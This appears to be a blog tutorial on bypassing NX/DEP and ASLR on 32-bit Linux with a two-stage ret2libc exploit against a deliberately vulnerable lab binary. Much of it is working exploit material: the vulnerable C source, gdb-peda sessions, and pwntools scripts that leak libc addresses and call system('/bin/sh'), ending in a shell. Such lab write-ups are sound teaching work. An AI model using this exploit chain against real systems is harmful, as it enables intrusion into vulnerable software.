In this article, we’re going to be looking at a method of bypassing non-executable stack protection (NX/DEP) and Address Space Layout Randomisation on 32-bit Linux.
Below is the sample application we will be exploiting:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | #include <stdio.h> #include <stdlib.h> #include <string.h> void check_password() { char password[32]; puts ( "Password:" ); fgets (password, 200, stdin); if ( strcmp (password, "bordergate\n" ) == 0) { puts ( "pass\n" ); } else { puts ( "fail\n" ); } } int main( int argc, char **argv) { check_password(); return 0; } |
Compile the code with:
1 | gcc -no-pie -mpreferred-stack-boundary=2 -fno-stack-protector code.c -o ret2lab |
Running the program in our debugging environment (gdb-peda) we can see the program encounters a segmentation fault if more than 500 characters are entered:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 | user@ubuntu:~/Ret2LibC$ python -c "print 'A'*500" > fuzz.txt user@ubuntu:~/Ret2LibC$ gdb ./ret2lab GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1 Copyright (C) 2016 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "i686-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>. For help, type "help". Type "apropos word" to search for commands related to "word"... Reading symbols from ./ret2lab...(no debugging symbols found)...done. gdb-peda$ run < fuzz.txt Starting program: /home/user/Ret2LibC/ret2lab < fuzz.txt Password: fail Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0x6 EBX: 0x0 ECX: 0xffffffff EDX: 0xb7fcc870 --> 0x0 ESI: 0xb7fcb000 --> 0x1b1db0 EDI: 0xb7fcb000 --> 0x1b1db0 EBP: 0x41414141 ('AAAA') ESP: 0xbffff5f8 ('A' <repeats 159 times>) EIP: 0x41414141 ('AAAA') EFLAGS: 0x10292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0x41414141 [------------------------------------stack-------------------------------------] 0000| 0xbffff5f8 ('A' <repeats 159 times>) 0004| 0xbffff5fc ('A' <repeats 155 times>) 0008| 0xbffff600 ('A' <repeats 151 times>) 0012| 0xbffff604 ('A' <repeats 147 times>) 0016| 0xbffff608 ('A' <repeats 143 times>) 0020| 0xbffff60c ('A' <repeats 139 times>) 0024| 0xbffff610 ('A' <repeats 135 times>) 0028| 0xbffff614 ('A' <repeats 131 times>) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x41414141 in ?? () |
We can see the instruction pointer (EIP) has been overwritten with the “A” characters we generated.
Checking the memory protection mechanisms enabled on the binary shows that NX is active. Because of this, we will be unable to inject shellcode onto the stack.
1 2 3 4 5 6 | gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial |
With GDB-Peda, we can locate the offset required to overwrite the instruction pointer:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 | gdb-peda$ pattern create 500 pattern.txt Writing pattern of 500 chars to filename "pattern.txt" gdb-peda$ run < pattern.txt Starting program: /home/user/Ret2LibC/ret2lab < pattern.txt Password: fail Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0x6 EBX: 0x0 ECX: 0xffffffff EDX: 0xb7fcc870 --> 0x0 ESI: 0xb7fcb000 --> 0x1b1db0 EDI: 0xb7fcb000 --> 0x1b1db0 EBP: 0x41412941 ('A)AA') ESP: 0xbffff5f8 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAy") EIP: 0x61414145 ('EAAa') EFLAGS: 0x10292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0x61414145 [------------------------------------stack-------------------------------------] 0000| 0xbffff5f8 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAy") 0004| 0xbffff5fc ("AFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAy") 0008| 0xbffff600 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAy") 0012| 0xbffff604 ("AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAy") 0016| 0xbffff608 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAy") 0020| 0xbffff60c ("2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAy") 0024| 0xbffff610 ("AAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAy") 0028| 0xbffff614 ("A3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAy") [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x61414145 in ?? () gdb-peda$ pattern search Registers contain pattern buffer: ECX+52 found at offset: 69 EIP+0 found at offset: 36 EBP+0 found at offset: 32 Registers point to pattern buffer: [ESP] --> offset 40 - size ~159 Pattern buffer found at: 0x0804b410 : offset 0 - size 500 ([heap]) 0xbffff5d0 : offset 0 - size 199 ($sp + -0x28 [-10 dwords]) References to pattern buffer found at: 0xb7fcb5ac : 0x0804b410 (/lib/i386-linux-gnu/libc-2.23.so) 0xb7fcb5b0 : 0x0804b410 (/lib/i386-linux-gnu/libc-2.23.so) 0xb7fcb5b4 : 0x0804b410 (/lib/i386-linux-gnu/libc-2.23.so) 0xb7fcb5b8 : 0x0804b410 (/lib/i386-linux-gnu/libc-2.23.so) 0xb7fcb5bc : 0x0804b410 (/lib/i386-linux-gnu/libc-2.23.so) 0xbffff3b8 : 0x0804b410 ($sp + -0x240 [-144 dwords]) 0xbffff474 : 0x0804b410 ($sp + -0x184 [-97 dwords]) |
We now know the instruction pointer (EIP) can be overwritten after 36 bytes. Let’s verify that using a Python script:
1 2 3 4 5 6 7 | #!/usr/bin/python buf = "" buf += "A"*36 buf += "BBBB" print buf |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 | python exploit.py > out.txt gdb-peda$ run < out.txt Starting program: /home/user/Ret2LibC/ret2lab < out.txt Password: fail Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0x6 EBX: 0x0 ECX: 0xffffffff EDX: 0xb7fcc870 --> 0x0 ESI: 0xb7fcb000 --> 0x1b1db0 EDI: 0xb7fcb000 --> 0x1b1db0 EBP: 0x41414141 ('AAAA') ESP: 0xbffff5f8 --> 0xa ('\n') EIP: 0x42424242 ('BBBB') EFLAGS: 0x10292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0x42424242 [------------------------------------stack-------------------------------------] 0000| 0xbffff5f8 --> 0xa ('\n') 0004| 0xbffff5fc --> 0xb7e31637 (<__libc_start_main+247>: add esp,0x10) 0008| 0xbffff600 --> 0x1 0012| 0xbffff604 --> 0xbffff694 --> 0xbffff7cc ("/home/user/Ret2LibC/ret2lab") 0016| 0xbffff608 --> 0xbffff69c --> 0xbffff7e8 ("XDG_SESSION_ID=27") 0020| 0xbffff60c --> 0x0 0024| 0xbffff610 --> 0x0 0028| 0xbffff614 --> 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x42424242 in ?? () |
The EIP register has been overwritten with out “B” characters, which is represented in hex as 0x42.
Since DEP is enabled on the executable, we won’t be able to inject arbitrary code onto the stack. The solution to this is return orientated programming (ROP). Essentially we can execute instructions which already exist within the application.
However, Address Space Layout Randomization (ASLR) will hamper this effort since memory addresses will be randomized each time the application starts.
So first, we’re going to need to attempt to leak a pointer to an existing function. By leaking a pointer, we should able able to determine the current random base pointer address. Below illustrates how the memory addresses are being randomized each time the application starts:
1 2 3 4 5 6 7 8 | user@ubuntu:~/Ret2LibC$ ldd ./ret2lab | grep libc libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb752b000) user@ubuntu:~/Ret2LibC$ ldd ./ret2lab | grep libc libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7537000) user@ubuntu:~/Ret2LibC$ ldd ./ret2lab | grep libc libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb759b000) user@ubuntu:~/Ret2LibC$ ldd ./ret2lab | grep libc libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75db000) |
Stage 1: Pointer Leakage
To leak a pointer, we need to know three things;
- The address of the puts function procedure linkage table (PLT) value.
- A pointer to the programs main function. This is needed since if the application terminates the ASLR base address will be randomised again.
- The puts function address in the Global Offset Table (GOT)
We can get these values one and two using GDB:
1 2 3 4 | gdb-peda$ p main $1 = {<text variable, no debug info>} 0x80484f9 <main> gdb-peda$ p 'puts@plt' $2 = {<text variable, no debug info>} 0x8048370 <puts@plt> |
To get the GOT address, run the application in GDB and ctrl+c to terminate it’s execution. This is required since the GOT address will only be resolved when the PLT stub has first ran.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 | gdb-peda$ disassemble check_password Dump of assembler code for function check_password: 0x0804849b <+0>: push ebp 0x0804849c <+1>: mov ebp,esp 0x0804849e <+3>: sub esp,0x20 0x080484a1 <+6>: push 0x8048590 0x080484a6 <+11>: call 0x8048370 <puts@plt> 0x080484ab <+16>: add esp,0x4 0x080484ae <+19>: mov eax,ds:0x804a040 0x080484b3 <+24>: push eax 0x080484b4 <+25>: push 0xc8 0x080484b9 <+30>: lea eax,[ebp-0x20] 0x080484bc <+33>: push eax 0x080484bd <+34>: call 0x8048360 <fgets@plt> 0x080484c2 <+39>: add esp,0xc 0x080484c5 <+42>: push 0x804859a 0x080484ca <+47>: lea eax,[ebp-0x20] 0x080484cd <+50>: push eax 0x080484ce <+51>: call 0x8048350 <strcmp@plt> 0x080484d3 <+56>: add esp,0x8 0x080484d6 <+59>: test eax,eax 0x080484d8 <+61>: jne 0x80484e9 <check_password+78> 0x080484da <+63>: push 0x80485a6 0x080484df <+68>: call 0x8048370 <puts@plt> 0x080484e4 <+73>: add esp,0x4 0x080484e7 <+76>: jmp 0x80484f6 <check_password+91> 0x080484e9 <+78>: push 0x80485ac 0x080484ee <+83>: call 0x8048370 <puts@plt> 0x080484f3 <+88>: add esp,0x4 0x080484f6 <+91>: nop 0x080484f7 <+92>: leave 0x080484f8 <+93>: ret End of assembler dump. gdb-peda$ disassemble 0x8048370 Dump of assembler code for function puts@plt: 0x08048370 <+0>: jmp DWORD PTR ds:0x804a014 0x08048376 <+6>: push 0x10 0x0804837b <+11>: jmp 0x8048340 End of assembler dump. gdb-peda$ info symbol 0x804a014 _GLOBAL_OFFSET_TABLE_ + 20 in section .got.plt of /home/user/Ret2LibC/ret2lab |
The below Python code implements stage 1 of the attack. The EIP register will be overwritten with the puts@PLT pointer. The other values will be read from the stack as arguments to this function. Main acts as the functions return address. The puts@GOT pointer will be read from memory. This resides within the libc library.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | #!/usr/bin/python from pwn import * r = process( "./ret2lab" ) context.log_level = 'DEBUG' libc = ELF( "/lib/i386-linux-gnu/libc.so.6" ) elf = ELF( './ret2lab' ) #First stage - pointer leakage puts_plt = 0x8048370 puts_got = 0x804a014 main = 0x80484f9 payload = "" payload + = "A" * 36 payload + = p32(puts_plt) payload + = p32(main) payload + = p32(puts_got) r.recvuntil( 'Password:\n' ) r.sendline(payload) r.recvuntil( 'fail' ) addr_puts = u32(r.recv()[ 2 : 6 ]) log.info( 'puts@libc is at: {}' . format ( hex (addr_puts))) |
Running the code shows the puts@glibc address as 0xb75aeca0. This value will change each time the application is restarted.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 | [!] Pwntools does not support 32-bit Python. Use a 64-bit release. [+] Starting local process './ret2lab': pid 734 [DEBUG] PLT 0x176b0 _Unwind_Find_FDE [DEBUG] PLT 0x176c0 realloc [DEBUG] PLT 0x176e0 memalign [DEBUG] PLT 0x17710 _dl_find_dso_for_object [DEBUG] PLT 0x17720 calloc [DEBUG] PLT 0x17730 ___tls_get_addr [DEBUG] PLT 0x17740 malloc [DEBUG] PLT 0x17748 free [*] '/lib/i386-linux-gnu/libc.so.6' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [DEBUG] PLT 0x8048350 strcmp [DEBUG] PLT 0x8048360 fgets [DEBUG] PLT 0x8048370 puts [DEBUG] PLT 0x8048380 __libc_start_main [DEBUG] PLT 0x8048390 __gmon_start__ [*] '/home/user/Ret2LibC/ret2lab' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) [DEBUG] Received 0xa bytes: 'Password:\n' [DEBUG] Sent 0x31 bytes: 00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│ * 00000020 41 41 41 41 70 83 04 08 f9 84 04 08 14 a0 04 08 │AAAA│p···│····│····│ 00000030 0a │·│ 00000031 [DEBUG] Received 0x19 bytes: 00000000 66 61 69 6c 0a 0a a0 ec 5a b7 40 75 56 b7 0a 50 │fail│····│Z·@u│V··P│ 00000010 61 73 73 77 6f 72 64 3a 0a │assw│ord:│·│ 00000019 [*] puts@libc is at: 0xb75aeca0 [*] Stopped process './ret2lab' (pid 734) |
Stage 2: Return2Libc ROP Chain
We can determine the base address of LibC by subtracting 0005fca0 from the leaked puts pointer:
1 2 3 | readelf -s /lib/i386-linux-gnu/libc.so.6 | grep puts@@ 205: 0005fca0 464 FUNC GLOBAL DEFAULT 13 _IO_puts@@GLIBC_2.0 434: 0005fca0 464 FUNC WEAK DEFAULT 13 puts@@GLIBC_2.0 |
Knowing the randomised base address, we can then call the system function with the parameter of “/bin/sh”.
The final exploit looks like this:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 | #!/usr/bin/python from pwn import * r = process( "./ret2lab" ) context.log_level = 'DEBUG' libc = ELF( "/lib/i386-linux-gnu/libc.so.6" ) elf = ELF( './ret2lab' ) #First stage - pointer leakage puts_plt = 0x8048370 puts_got = 0x804a014 main = 0x80484f9 payload = "" payload + = "A" * 36 payload + = p32(puts_plt) payload + = p32(main) payload + = p32(puts_got) r.recvuntil( 'Password:\n' ) r.sendline(payload) r.recvuntil( 'fail' ) addr_puts = u32(r.recv()[ 2 : 6 ]) log.info( 'puts@libc is at: {}' . format ( hex (addr_puts))) libc_base = addr_puts - 0x5fca0 log.info( 'pwntools puts: {}' . format ( hex (libc.symbols[ "puts" ]))) log.info( 'libc base address is at: {}' . format ( hex (libc_base))) #Second stage - return to libc libc_system = p32(libc_base + libc.symbols[ "system" ]) log.info( 'system address is at: {}' . format (libc_system)) libc_exit = p32(libc_base + libc.symbols[ "exit" ]) log.info( 'exit address is at: {}' . format (libc_exit)) libc_binsh = p32(libc_base + libc.search( "/bin/sh" ). next ()) log.info( 'binsh address is at: {}' . format (libc_binsh)) payload = "" payload + = "A" * 36 payload + = libc_system payload + = libc_exit payload + = libc_binsh r.sendline(payload) r.interactive() |
Running the exploit to show command execution:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 | user@ubuntu:~/Ret2LibC$ python exploit.py [!] Pwntools does not support 32-bit Python. Use a 64-bit release. [+] Starting local process './ret2lab': pid 767 [DEBUG] PLT 0x176b0 _Unwind_Find_FDE [DEBUG] PLT 0x176c0 realloc [DEBUG] PLT 0x176e0 memalign [DEBUG] PLT 0x17710 _dl_find_dso_for_object [DEBUG] PLT 0x17720 calloc [DEBUG] PLT 0x17730 ___tls_get_addr [DEBUG] PLT 0x17740 malloc [DEBUG] PLT 0x17748 free [*] '/lib/i386-linux-gnu/libc.so.6' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [DEBUG] PLT 0x8048350 strcmp [DEBUG] PLT 0x8048360 fgets [DEBUG] PLT 0x8048370 puts [DEBUG] PLT 0x8048380 __libc_start_main [DEBUG] PLT 0x8048390 __gmon_start__ [*] '/home/user/Ret2LibC/ret2lab' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) [DEBUG] Received 0xa bytes: 'Password:\n' [DEBUG] Sent 0x31 bytes: 00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│ * 00000020 41 41 41 41 70 83 04 08 f9 84 04 08 14 a0 04 08 │AAAA│p···│····│····│ 00000030 0a │·│ 00000031 [DEBUG] Received 0x19 bytes: 00000000 66 61 69 6c 0a 0a a0 6c 63 b7 40 f5 5e b7 0a 50 │fail│···l│c·@·│^··P│ 00000010 61 73 73 77 6f 72 64 3a 0a │assw│ord:│·│ 00000019 [*] puts@libc is at: 0xb7636ca0 [*] pwntools puts: 0x5fca0 [*] libc base address is at: 0xb75d7000 [*] system address is at: \xa0\x1da\xb7 [*] exit address is at: �Y`\xb7 [*] binsh address is at: \x0b*s\xb7 [DEBUG] Sent 0x31 bytes: 00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│ * 00000020 41 41 41 41 a0 1d 61 b7 d0 59 60 b7 0b 2a 73 b7 │AAAA│··a·│·Y`·│·*s·│ 00000030 0a │·│ 00000031 [*] Switching to interactive mode [DEBUG] Received 0x6 bytes: 'fail\n' '\n' fail $ id [DEBUG] Sent 0x3 bytes: 'id\n' [DEBUG] Received 0x84 bytes: 'uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)\n' uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare) $ |